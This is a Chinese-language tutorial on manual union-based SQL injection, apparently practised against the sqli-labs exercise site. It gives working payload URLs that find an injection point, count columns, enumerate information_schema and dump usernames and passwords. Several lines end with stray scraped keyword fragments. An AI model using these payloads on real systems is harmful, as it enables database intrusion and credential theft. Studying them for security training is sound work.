從網頁傳入參數注入php
這是SQL注入中最多見的方法,而且根據該注入原理有跟多SQL注入工具mysql
一樣,首先應測試是否存在注入漏洞,簡單的:’ 或 and 1=1 and 1=2之類的SQL語句。sql
若是沒有檢測,直接運行SQL語句,說明有機會注入。數據庫
從參數注入,簡單的測試方法是:工具
① http://www.xxx.com/index.php?id=2測試
② http://www.xxx.com/index.php?id=2' and 1=1spa
③ http://www.xxx.com/index.php?id=2' and 1=2orm
能夠注入的表現:it
① 正常顯示(這是必然的,否則程序就有錯)io
② 正常顯示,內容基本與①相同
③ 提示BOF或EOF(程序沒作任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容爲空(程序加了on error resume next)
注入具體步驟示例:
步驟:
1 先判斷是否有注入點 and 1=1 and 1=2
2 再判斷字段數量 order by x 若是頁面回顯正常,則字段數爲 order by 後面的數字 http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
3 使用聯合查詢 union
用 union 語句查看當前是哪幾位有效
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+
4 根據有效位,更改這兩位變量進行查詢
1 select @@basedir 查詢數據庫安裝路徑
2 select @@datadir 查詢數據庫所在目錄
3 select version() 查詢數據庫的版本
4 select user() 查詢當前數據庫的使用用戶
5 select database() 當前使用數據庫的名字
5 查看當前數據庫裏有哪些表
(補充:
Mysql5.0以上版本手工注入
Information_schema:存儲mysql數據庫下全部數據庫的表名和列名信息的自帶數據庫
information_schema.schemata:存儲mysql數據庫下全部數據庫的庫名信息的表 (字段名爲 schema_name的字段值)
information_schema.tables:存儲mysql數據庫下全部數據庫的表名信息的表 (字段名爲 table_name:表名
條件爲 table_schema:數據庫名 )
information_schema.columns:存儲mysql數據庫下全部數據庫的列名信息的表 (字段名爲column_name:的字段值))
6 根據查詢到的有用信息表user,想查看其表中有哪些屬性即列名。
例如:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+
7 查看users表裏面具體的用戶信息。
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+
基本步驟:
1、找到注入點;
2、判斷當前表的字段;
3、用聯合語句查看哪幾位是有效位;
4、查看當前數據庫中有哪些表;
5、查看錶中有哪些屬性;
6、查看錶中具體的數據信息。